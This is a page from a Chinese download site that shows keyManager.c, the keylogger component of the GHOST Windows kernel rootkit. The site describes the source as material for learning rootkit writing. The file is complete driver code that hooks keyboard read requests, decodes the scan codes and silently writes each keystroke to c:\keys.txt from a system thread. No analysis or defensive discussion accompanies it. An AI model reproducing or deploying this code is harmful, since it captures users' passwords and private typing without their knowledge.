⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 keymanager.c

📁 名为 GHOST的Win32下的Rootkit源码, 是学习ROOTKIT编写入门的优秀学习材料.
💻 C
字号:
// keyManager
// Copyright Ric Vieler, 2006
// Keylogger routines

#include "ntddk.h"
#include "Ghost.h"
#include "keyManager.h"
#include "ntddkbd.h"

extern KEYBOARD_STRUCT keyboardData;
extern PDEVICE_OBJECT oldKeyboardDevice;

char keyMap[84] = {NUL,NUL,'1','2','3','4','5','6','7','8',
 '9','0','-','=',NUL,NUL,'q','w','e','r',
 't','y','u','i','o','p','[',']',ENTER,CTRL,
 'a','s','d','f','g','h','j','k','l',';',
 '\'','`',LSHIFT,'\\','z','x','c','v','b','n',
 'm',',','.','/',RSHIFT,NUL,ALT,SPACE,NUL,NUL,
 NUL,NUL,NUL,NUL,NUL,NUL,NUL,NUL,NUL,NUL,
 NUL,'7','8','9',NUL,'4','5','6',NUL,'1',
 '2','3','0'};

char shiftKeyMap[84] = {NUL,NUL,'!','@','#','$','%','^','&','*',
 '(',')','_','+',NUL,NUL,'Q','W','E','R',
 'T','Y','U','I','O','P','{','}',ENTER,NUL,
 'A','S','D','F','G','H','J','K','L',':',
 '"','~',LSHIFT,'|','Z','X','C','V','B','N',
 'M','<','>','?',RSHIFT,NUL,NUL,SPACE,NUL,NUL,
 NUL,NUL,NUL,NUL,NUL,NUL,NUL,NUL,NUL,NUL,
 NUL,'7','8','9',NUL,'4','5','6',NUL,'1',
 '2','3','0'};

NTSTATUS OnKeyboardRead( PDEVICE_OBJECT pDeviceObject,
	PIRP Irp,
	PIO_STACK_LOCATION irpStack )
{
	NTSTATUS status;
	PIRP newIrp;
	PIO_STACK_LOCATION newirpStack;

	// create new irp
	newIrp = IoAllocateIrp( pDeviceObject->StackSize, FALSE );
	IoSetNextIrpStackLocation( newIrp );
	newirpStack = IoGetCurrentIrpStackLocation( newIrp );
	newIrp->AssociatedIrp.SystemBuffer = Irp->AssociatedIrp.SystemBuffer;
	newIrp->RequestorMode = KernelMode;   // Irp->RequestorMode;
	newIrp->Tail.Overlay.Thread = Irp->Tail.Overlay.Thread;
	newIrp->Tail.Overlay.OriginalFileObject = Irp->Tail.Overlay.OriginalFileObject;
	newIrp->Flags = Irp->Flags;
	newirpStack->MajorFunction = IRP_MJ_READ;
	newirpStack->MinorFunction = irpStack->MinorFunction;
	newirpStack->Parameters.Read = irpStack->Parameters.Read;
	newirpStack->DeviceObject = pDeviceObject;
	newirpStack->FileObject = irpStack->FileObject;
	newirpStack->Flags = irpStack->Flags;
	newirpStack->Control = 0;
	IoCopyCurrentIrpStackLocationToNext( newIrp );
	IoSetCompletionRoutine( newIrp, OnReadCompletion, Irp, TRUE, TRUE, TRUE );

	// save old irp
	Irp->Tail.Overlay.DriverContext[0] = newIrp;
	ExInterlockedInsertHeadList( &keyboardData.irpList,
		&Irp->Tail.Overlay.ListEntry,
		&keyboardData.irpLock );

	// set cancel routine to allow driver to unload
	IoSetCancelRoutine( Irp, OnCancel );

	// pass new irp in place of old irp
	status = IoCallDriver( oldKeyboardDevice, newIrp );
	if( status == STATUS_PENDING )
		return status;

	status = Irp->IoStatus.Status;
	IoCompleteRequest( Irp, IO_KEYBOARD_INCREMENT );
	return status;
}    

NTSTATUS OnReadCompletion(IN PDEVICE_OBJECT pDeviceObject,
	IN PIRP pIrp,
	IN PVOID Context)
{
	PIRP origIrp;
	KIRQL aIrqL;
	BOOL found = FALSE;

	if( pIrp->Cancel )
	{
		// driver unloading
		IoFreeIrp( pIrp );
		return STATUS_MORE_PROCESSING_REQUIRED;
	}

	// get original irp
	origIrp = (PIRP)Context;

	// find and delete the original irp
	KeAcquireSpinLock( &keyboardData.irpLock, &aIrqL );
	{
		PLIST_ENTRY listEntry;
		listEntry = keyboardData.irpList.Flink;
		while( (listEntry != &origIrp->Tail.Overlay.ListEntry)
			&& (listEntry != &keyboardData.irpList) )
		{
			listEntry = listEntry->Flink;
		}
		found = (listEntry == &origIrp->Tail.Overlay.ListEntry);
		if( found )
			RemoveEntryList( &origIrp->Tail.Overlay.ListEntry );
	}
	KeReleaseSpinLock( &keyboardData.irpLock, aIrqL );

	// propagate irp if pending
	if( pIrp->PendingReturned )
	{
		IoMarkIrpPending( pIrp );
		if( found )
			IoMarkIrpPending( origIrp );
	}

	// process the key
	if( pIrp->IoStatus.Status == STATUS_SUCCESS )
	{
		int i;
		int numKeys;
		PKEYBOARD_INPUT_DATA keys;
		KEY_DATA* keyData;

		keys = (PKEYBOARD_INPUT_DATA)pIrp->AssociatedIrp.SystemBuffer;
		numKeys = pIrp->IoStatus.Information / sizeof(KEYBOARD_INPUT_DATA);

		for( i = 0; i < numKeys; i++ )
		{
			// get key
			keyData = (KEY_DATA*)ExAllocatePool( NonPagedPool, sizeof(KEY_DATA) );
			keyData->KeyData = (char)keys[i].MakeCode;
			keyData->KeyFlags = (char)keys[i].Flags;

			// give key to key queue
			ExInterlockedInsertTailList( &keyboardData.keyList,
				&keyData->ListEntry,
				&keyboardData.keyLock );

			// tell logging thread to read key queue
			KeReleaseSemaphore( &keyboardData.keySemaphore, 0, 1, FALSE );
		}
	}
	if( found )
	{
		// complete the orig irp
		origIrp->IoStatus.Status = pIrp->IoStatus.Status;
		origIrp->IoStatus.Information = pIrp->IoStatus.Information;
		IoSetCancelRoutine( origIrp, NULL );
		if( pIrp->PendingReturned )
			IoCompleteRequest( origIrp, IO_KEYBOARD_INCREMENT );
	}
	// free the new irp
	IoFreeIrp( pIrp );

	return STATUS_MORE_PROCESSING_REQUIRED;
}

void GetKey(KEY_DATA* keyData, char* key)
{
	 char mappedKey;

	 // map the key code into a key
	 mappedKey = keyMap[keyData->KeyData];
	 
	 // process mapped key
	 switch( mappedKey )
	 {
		case CTRL:
			if( keyData->KeyFlags == KEY_MAKE )
				keyboardData.keyState.CtrlKey = TRUE;
			else
				keyboardData.keyState.CtrlKey = FALSE;
			break;
		 
		case ALT:
			if( keyData->KeyFlags == KEY_MAKE )
				keyboardData.keyState.AltKey = TRUE;
			else
				keyboardData.keyState.AltKey = FALSE;
			break;

		case LSHIFT:
			if( keyData->KeyFlags == KEY_MAKE )
				keyboardData.keyState.ShiftKey = TRUE;
			else
				keyboardData.keyState.ShiftKey = FALSE;
			break;

		case RSHIFT:
			if( keyData->KeyFlags == KEY_MAKE )
				keyboardData.keyState.ShiftKey = TRUE;
			else
				keyboardData.keyState.ShiftKey = FALSE;
			break;

		case ENTER:
			if(( keyboardData.keyState.AltKey != TRUE ) &&
				( keyData->KeyFlags == KEY_BREAK )) 
			{
				key[0] = 0x0D;
				key[1] = 0x0A;
			}
			break;

		case SPACE: 
			if(( keyboardData.keyState.AltKey != TRUE ) &&
				( keyData->KeyFlags == KEY_BREAK ))
				key[0] = 0x20;
			break;

		default:
			if(( keyboardData.keyState.AltKey != TRUE ) &&
				( keyboardData.keyState.CtrlKey != TRUE ) &&
				( keyData->KeyFlags == KEY_BREAK ))
			{
				if(( mappedKey >= 0x21 ) && ( mappedKey <= 0x7E ))
				{
					if( keyboardData.keyState.ShiftKey == TRUE )
						key[0] = shiftKeyMap[keyData->KeyData];
					else  
						key[0] = mappedKey;
				}
			}
			break;
	 }
}

NTSTATUS InitializeLogThread(IN PDRIVER_OBJECT pDriverObject)
{
	HANDLE hThread; 
	NTSTATUS status;

	keyboardData.terminateFlag = FALSE;
	status	= PsCreateSystemThread( &hThread,
		(ACCESS_MASK)0,
		NULL,
		(HANDLE)0,
		NULL,
		KeyLoggerThread,
		NULL );

	if( !NT_SUCCESS( status ) )
	{
		DbgPrint("comint32: Failed to create key log thread");
		return status;
	}

	ObReferenceObjectByHandle( hThread,
		THREAD_ALL_ACCESS,
		NULL,
		KernelMode, 
		(PVOID*)&keyboardData.threadObject,
		NULL );

	ZwClose( hThread );
	
	return status;
}

VOID KeyLoggerThread(PVOID StartContext)
{
	char key[3];
	NTSTATUS status;
	PLIST_ENTRY pListEntry;
	KEY_DATA* keyData;

	while( TRUE )
	{
		// wait for a key
		KeWaitForSingleObject( &keyboardData.keySemaphore,
			Executive,
			KernelMode,
			FALSE,
			NULL );	

		pListEntry = ExInterlockedRemoveHeadList( &keyboardData.keyList,
			&keyboardData.keyLock );
		
		if( keyboardData.terminateFlag == TRUE )
			PsTerminateSystemThread( STATUS_SUCCESS );
		
		// get base address of instance 
		keyData = CONTAINING_RECORD( pListEntry, KEY_DATA, ListEntry );

		// convert scan code to key
		key[0] = key[1] = key[2] = 0;
		GetKey( keyData, key );

		if( key[0] != 0 )
		{
			if(keyboardData.hLogFile != NULL)
			{	
				IO_STATUS_BLOCK io_status;
			    
				status = ZwWriteFile(keyboardData.hLogFile,
					NULL,
					NULL,
					NULL,
					&io_status,
					&key,
					strlen(key),
					NULL,
					NULL);
			}
		}	
	}
	return;
}

void StartKeylogger(PDRIVER_OBJECT pDriverObject)
{
	IO_STATUS_BLOCK statusBlock;
	OBJECT_ATTRIBUTES attributes;
    STRING ansiName;
	UNICODE_STRING unicodeName;
	CCHAR asciiName[64] = "\\DosDevices\\c:\\keys.txt";

	// initialize keyboardData
	InitializeLogThread( pDriverObject );
	InitializeListHead( &keyboardData.keyList );
	KeInitializeSpinLock( &keyboardData.keyLock );
	KeInitializeSemaphore( &keyboardData.keySemaphore, 0 , MAXLONG );
	InitializeListHead( &keyboardData.irpList );
	KeInitializeSpinLock( &keyboardData.irpLock );

	// create key log
    RtlInitAnsiString( &ansiName, asciiName );
    RtlAnsiStringToUnicodeString( &unicodeName, &ansiName, TRUE );
	InitializeObjectAttributes( &attributes,
		&unicodeName,
		OBJ_CASE_INSENSITIVE,
		NULL,
		NULL );
	ZwCreateFile( &keyboardData.hLogFile,
		FILE_APPEND_DATA,
		&attributes,
		&statusBlock,
		NULL,
		FILE_ATTRIBUTE_NORMAL,
		0,
		FILE_OPEN_IF,
		FILE_SYNCHRONOUS_IO_NONALERT,
		NULL,
		0 );
	RtlFreeUnicodeString( &unicodeName );

	DbgPrint("comint32: Log thread started");
}

void StopKeylogger( PDEVICE_OBJECT* ppOldDevice,
	PDEVICE_OBJECT* ppNewDevice )
{
	KIRQL irql;
	LIST_ENTRY forwarding_list;

	IoDetachDevice( *ppOldDevice );
	InitializeListHead( &forwarding_list );
	// cancel pending irps
	KeAcquireSpinLock( &keyboardData.irpLock, &irql );
	{
		PLIST_ENTRY listEntry;
		listEntry = keyboardData.irpList.Flink;
		while( listEntry != &keyboardData.irpList )
		{
			PIRP newIrp, Irp;

			Irp = (PIRP)(CONTAINING_RECORD( listEntry, IRP, Tail.Overlay.ListEntry ));
			newIrp = (PIRP)(Irp->Tail.Overlay.DriverContext[0]);
			// must advance listEntry before unlinking
			listEntry = listEntry->Flink;
			if( newIrp )
			{
				// cancel created irp
				if( IoCancelIrp( newIrp ) )
				{
					// add original irp to forwarding list
					Irp->Tail.Overlay.DriverContext[0] = NULL;
					IoSetCancelRoutine( Irp, NULL );
					RemoveEntryList( &Irp->Tail.Overlay.ListEntry );
					InsertHeadList( &forwarding_list, &Irp->Tail.Overlay.ListEntry );
				}
			}
		}
	}
	KeReleaseSpinLock( &keyboardData.irpLock, irql );
	// forward original irps
	while( !IsListEmpty( &forwarding_list ) )
	{
		PLIST_ENTRY listEntry;
		PIRP Irp;

		listEntry = RemoveHeadList( &forwarding_list );
		Irp = (PIRP)(CONTAINING_RECORD( listEntry, IRP, Tail.Overlay.ListEntry ));
		IoSkipCurrentIrpStackLocation( Irp );
		IoCallDriver( oldKeyboardDevice, Irp );
	}
	// delete keyboard device
	IoDeleteDevice( *ppNewDevice );

	// terminate logging thread
	keyboardData.terminateFlag = TRUE;
	KeReleaseSemaphore( &keyboardData.keySemaphore, 0, 1, TRUE);
	KeWaitForSingleObject( keyboardData.threadObject,
			Executive,
			KernelMode,
			FALSE,
			NULL);

	// close key log file
	ZwClose( keyboardData.hLogFile );

	DbgPrint("comint32: Log thread stopped");
}

void OnCancel( IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp )
{
	PIRP newIrp;
	KIRQL irql;
	PLIST_ENTRY listEntry;
	int found = FALSE;

	IoSetCancelRoutine( Irp, NULL );
	IoReleaseCancelSpinLock( Irp->CancelIrql );

	// remove associated irp
	KeAcquireSpinLock( &keyboardData.irpLock, &irql );
	{
		listEntry = keyboardData.irpList.Flink;
		while( (listEntry != &Irp->Tail.Overlay.ListEntry)
			&& (listEntry != &keyboardData.irpList) )
		{
			listEntry = listEntry->Flink;
		}
		found = ( listEntry == &Irp->Tail.Overlay.ListEntry );
		if( found )
			RemoveEntryList( &Irp->Tail.Overlay.ListEntry );
	}
	KeReleaseSpinLock( &keyboardData.irpLock, irql );

	// process cancellation
	Irp->IoStatus.Status = STATUS_CANCELLED;
	Irp->IoStatus.Information = 0;
	newIrp = (PIRP)Irp->Tail.Overlay.DriverContext[0];
	IoCompleteRequest( Irp, IO_KEYBOARD_INCREMENT );
	if( newIrp )
		IoCancelIrp( newIrp );

	return;
}

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -